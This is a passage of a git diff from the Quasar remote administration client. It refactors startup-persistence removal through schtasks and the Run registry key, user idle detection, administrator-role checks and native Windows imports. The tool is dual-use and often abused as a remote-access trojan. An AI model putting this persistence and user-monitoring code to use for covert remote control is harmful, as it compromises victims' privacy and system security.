ProcessStartInfo startInfo = new ProcessStartInfo("schtasks") - { - Arguments = "/delete /tn \"" + Settings.STARTUPKEY + "\" /f", - UseShellExecute = false, - CreateNoWindow = true - }; - - Process p = Process.Start(startInfo); - p.WaitForExit(1000); - if (p.ExitCode == 0) return true; - } - catch (Exception) - { - } - - return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY); - } - else - { - return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY); - } - } - } -} diff --git a/Quasar.Client/Messages/UserStatusHandler.cs b/Quasar.Client/User/ActivityDetection.cs similarity index 66% rename from Quasar.Client/Messages/UserStatusHandler.cs rename to Quasar.Client/User/ActivityDetection.cs index bc2b9c6f..2e1ca334 100644 --- a/Quasar.Client/Messages/UserStatusHandler.cs +++ b/Quasar.Client/User/ActivityDetection.cs @@ -2,13 +2,12 @@ using Quasar.Client.Networking; using Quasar.Common.Enums; using Quasar.Common.Messages; -using Quasar.Common.Networking; -using System.Diagnostics; +using System; using System.Threading; -namespace Quasar.Client.Messages +namespace Quasar.Client.User { - public class UserStatusHandler : MessageProcessorBase + public class ActivityDetection : IDisposable { public UserStatus LastUserStatus { get; private set; } @@ -18,36 +17,39 @@ public class UserStatusHandler : MessageProcessorBase private readonly CancellationToken _token; - public UserStatusHandler(QuasarClient client) : base(false) + public ActivityDetection(QuasarClient client) { - // TODO: handle disconnect _client = client; _tokenSource = new CancellationTokenSource(); _token = _tokenSource.Token; + client.ClientState += OnClientStateChange; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + // reset user status + if (connected) + LastUserStatus = UserStatus.Active; + } + + public void Start() + { new Thread(UserIdleThread) { IsBackground = true }.Start(); } - public override bool CanExecute(IMessage message) => false; - - public override bool CanExecuteFrom(ISender sender) => false; - - public override void Execute(ISender sender, IMessage message) + public void Dispose() { - } - - protected override void Dispose(bool disposing) - { - if (disposing) - { - _tokenSource.Cancel(); - } + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); } private void UserIdleThread() { while (!_token.IsCancellationRequested) { - Thread.Sleep(1000); + if (_token.WaitHandle.WaitOne(1000)) + break; + if (IsUserIdle()) { if (LastUserStatus != UserStatus.Idle) @@ -65,14 +67,13 @@ private void UserIdleThread() } } } - } private bool IsUserIdle() { - long ticks = Stopwatch.GetTimestamp(); + var ticks = Environment.TickCount; - long idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); + var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0); diff --git a/Quasar.Client/User/UserAccount.cs b/Quasar.Client/User/UserAccount.cs new file mode 100644 index 00000000..b30e1ef2 --- /dev/null +++ b/Quasar.Client/User/UserAccount.cs @@ -0,0 +1,38 @@ +using Quasar.Common.Enums; +using System.Security.Principal; + +namespace Quasar.Client.User +{ + public class UserAccount + { + public string UserName { get; } + + public AccountType Type { get; } + + public UserAccount() + { + using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) + { + UserName = identity.Name; + WindowsPrincipal principal = new WindowsPrincipal(identity); + + if (principal.IsInRole(WindowsBuiltInRole.Administrator)) + { + Type = AccountType.Admin; + } + else if (principal.IsInRole(WindowsBuiltInRole.User)) + { + Type = AccountType.User; + } + else if (principal.IsInRole(WindowsBuiltInRole.Guest)) + { + Type = AccountType.Guest; + } + else + { + Type = AccountType.Unknown; + } + } + } + } +} diff --git a/Quasar.Client/Utilities/NativeMethods.cs b/Quasar.Client/Utilities/NativeMethods.cs index 617a2385..487ef1a3 100644 --- a/Quasar.Client/Utilities/NativeMethods.cs +++ b/Quasar.Client/Utilities/NativeMethods.cs @@ -18,16 +18,15 @@ internal struct LASTINPUTINFO [MarshalAs(UnmanagedType.U4)] public UInt32 dwTime; } - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - internal static extern bool DeleteFile(string name); - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] internal static extern IntPtr LoadLibrary(string lpFileName); [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize); + [DllImport("user32.dll")] internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); diff --git a/Quasar.Client/Utilities/SingleInstanceMutex.cs b/Quasar.Client/Utilities/SingleInstanceMutex.cs index 52a7db33..0672c972 100644 --- a/Quasar.Client/Utilities/SingleInstanceMutex.cs +++ b/Quasar.Client/Utilities/SingleInstanceMutex.cs @@ -3,27 +3,60 @@ namespace Quasar.Client.Utilities { + /// + /// A system-wide mutex that ensures that only one instance runs at a time. + /// public class SingleInstanceMutex : IDisposable { + /// + /// The mutex used for process synchronization. + /// private readonly Mutex _appMutex; + /// + /// Represents if the mutex was created on the system or it already existed. + /// public bool CreatedNew { get; } + /// + /// Determines if the instance is disposed and should not be used anymore. + /// public bool IsDisposed { get; private set; } + /// + /// Initializes a new instance of using the given mutex name. + /// + /// The name of the mutex. public SingleInstanceMutex(string name) { _appMutex = new Mutex(false, name, out var createdNew); CreatedNew = createdNew; } + /// + /// Releases all resources used by this . + /// public void Dispose() { - if (!IsDisposed) + Dispose(true); + GC.SuppressFinalize(this); + } + + /// + /// Releases the mutex object. + /// + /// True if called from , false if called from the finalizer. + protected virtual void Dispose(bool disposing) + { + if (IsDisposed) + return; + + if (disposing) { _appMutex?.Dispose(); - IsDisposed = true; } + + IsDisposed = true; } } } diff --git a/Quasar.Common/Enums/AccountType.cs b/Quasar.Common/Enums/AccountType.cs new file mode 100644 index 00000000..19c3eecd --- /dev/null +++ b/Quasar.Common/Enums/AccountType.cs @@ -0,0 +1,10 @@ +namespace Quasar.Common.Enums +{ + public enum AccountType + { + Admin, + User, + Guest, + Unknown + } +} diff --git a/Quasar.Common/Enums/UserStatus.cs b/Quasar.Common/Enums/UserStatus.cs index 761499a5..da726096 100644 --- a/Quasar.Common/Enums/UserStatus.cs +++ b/Quasar.Common/Enums/UserStatus.cs @@ -2,7 +2,7 @@ { public enum UserStatus { - Idle, - Active + Active, + Idle } } diff --git a/Quasar.Common/Messages/MessageHandler.cs b/Quasar.Common/Messages/MessageHandler.cs index 59467af1..7982a78a 100644 --- a/Quasar.Common/Messages/MessageHandler.cs +++ b/Quasar.Common/Messages/MessageHandler.cs @@ -5,7 +5,7 @@ namespace Quasar.Common.Messages { /// - /// Handles registration of s and processing of s. + /// Handles registrations of s and processing of s. /// public static class MessageHandler { diff --git a/Quasar.Common/NativeMethods.cs b/Quasar.Common/NativeMethods.cs index a4bea432..94f8fcd5 100644 --- a/Quasar.Common/NativeMethods.cs +++ b/Quasar.Common/NativeMethods.cs @@ -3,22 +3,25 @@ namespace Quasar.Common { + /// + /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// public class NativeMethods { [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); + public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); + public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern int memcpy(IntPtr dst, IntPtr src, uint count); + public static extern int memcpy(IntPtr dst, IntPtr src, uint count); [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern unsafe int memcpy(void* dst, void* src, uint count); + public static extern unsafe int memcpy(void* dst, void* src, uint count); [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] - internal static extern bool DeleteFile(string name); + public static extern bool DeleteFile(string name); } }